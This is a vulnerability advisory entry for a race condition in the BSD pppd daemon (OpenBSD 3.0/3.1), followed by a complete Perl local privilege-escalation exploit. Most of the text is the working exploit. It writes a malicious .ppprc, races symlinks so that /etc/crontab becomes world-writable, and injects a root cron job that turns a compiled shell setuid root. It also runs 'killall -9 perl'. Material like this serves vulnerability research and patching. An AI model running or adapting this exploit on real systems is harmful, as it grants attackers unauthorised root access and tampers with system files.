source: https://www.securityfocus.com/bid/5355/info
A vulnerability has been reported in some versions of the pppd daemon included with multiple BSD distributions.
A race condition error in the code may result in the pppd process changing the file permissions on an arbitrary system file. pppd will generally run as a privileged user.
This issue has been reported in OpenBSD versions 3.0 and 3.1. Earlier versions of OpenBSD may share this vulnerability, this has not however been confirmed.
#!/usr/bin/perl
# Local root exploit for AnyBSD. Tested on my 4.3 FBSD homebox.
#
# (C) 2002 Sebastian Krahmer -- stealth at segfault dot net ;-))
#
# NOT for abuse but for educational purposes only.
#
# Exploit description:
#
# The BSD pppd allows users to open any file even if its root owned.
# It then tries to set apropriate terminal attributes on the filedescriptor
# if a connection-script is given. As if it isn't bad enough that it allows
# you to open roots console for example it also has a race: If the tcgetattr()
# fails it calls some cleanup routines which use chown() to restore the mode
# of the terminal (at least it ASSUMES it is an terminal). It should rather use
# the tty_fd to restore the mode because between open() and tcgetattr failure+chown()
# we link the file to /etc/crontab which will then have the mode of the former file
# (which is probably 0666 :)
# Some code snippets.
#
# The vulnerable open():
# ...
# /*
# * Open the serial device and set it up to be the ppp interface.
# * First we open it in non-blocking mode so we can set the
# * various termios flags appropriately. If we aren't dialling
# * out and we want to use the modem lines, we reopen it later
# * in order to wait for the carrier detect signal from the modem.
# */
# while ((ttyfd = open(devnam, O_NONBLOCK | O_RDWR, 0)) < 0) {
# if (errno != EINTR)
# syslog(LOG_ERR, "Failed to open %s: %m", devnam);
# if (!persist || errno != EINTR)
# goto fail;
# }
# ...
# close_tty() which is called during cleanup because tcgetattr() of
# the fd will fail:
#
# static void
# close_tty()
# {
# disestablish_ppp(ttyfd);
#
# /* drop dtr to hang up */
# if (modem) {
# setdtr(ttyfd, FALSE);
# /*
# * This sleep is in case the serial port has CLOCAL set by default,
# * and consequently will reassert DTR when we close the device.
# */
# sleep(1);
# }
#
# restore_tty(ttyfd);
#
# if (tty_mode != (mode_t) -1)
# chmod(devnam, tty_mode);
#
# close(ttyfd);
# ttyfd = -1;
# }
#
# The chmod() bangs.
# Fix suggestion: use fchmod() instead of chmod() and do not allow
# users to open root owned files.
# ok, standard init ...
umask 0;
chdir("$ENV{HOME}");
system("cp /etc/crontab /tmp/crontab");
# create evil .ppprc to catch right execution path in pppd
open O, ">.ppprc" or die $!;
print O "/dev/../tmp/ppp-device\n".
"connect /tmp/none\n";
close O;
print "Starting ... You can safely ignore any error messages and lay back. It can take some\n".
"minutes...\n\n";
# create a boomsh to be made +s
create_boomsh();
# fork off a proc which constantly creates a mode 0666
# file and a link to /etc/crontab. crontab file will "inherit"
# the mode then
if (fork() == 0) {
play_tricks("/tmp/ppp-device");
}
# fork off own proc which inserts command into crontab file
# which is then executed as root
if (fork() == 0) {
watch_crontab();
}
my $child;
# start pppd until race succeeds!
for (;;) {
if (($child = fork()) == 0) {
exec ("/usr/sbin/pppd");
}
wait;
last if (((stat("/tmp/boomsh"))[2] & 04000) == 04000);
}
# ok, we have a lot of interpreters running due to fork()'s
# so kill them...
if (fork() == 0) {
sleep(3);
system("killall -9 perl");
}
# thats all folks! ;-)
exec("/tmp/boomsh");
###
sub create_boomsh
{
open O, ">/tmp/boomsh.c" or die $!;
print O "int main() { char *a[]={\"/bin/sh\", 0}; setuid(0); ".
"system(\"cp /tmp/crontab /etc/crontab\"); execve(*a,a,0); return 1;}\n";
close O;
system("cc /tmp/boomsh.c -o /tmp/boomsh");
}
sub play_tricks
{
my $file = shift;
for (;;) {
unlink($file);
open O, ">$file";
close O;
# On the OpenBSD box of a friend 0.01 as fixed value
# did the trick. on my FreeBSD box 0.1 did.
# maybe you need to play here
select undef, undef, undef, rand 0.3;
unlink($file);
symlink("/etc/crontab", $file);
}
}
sub watch_crontab
{
for (;;) {
open O, ">>/etc/crontab" or next;
print "Race succeeded! Waiting for cron ...\n";
print O "\n* * * * * root chown root /tmp/boomsh;chmod 04755 /tmp/boomsh\n";
close O;
last;
}
exit;
}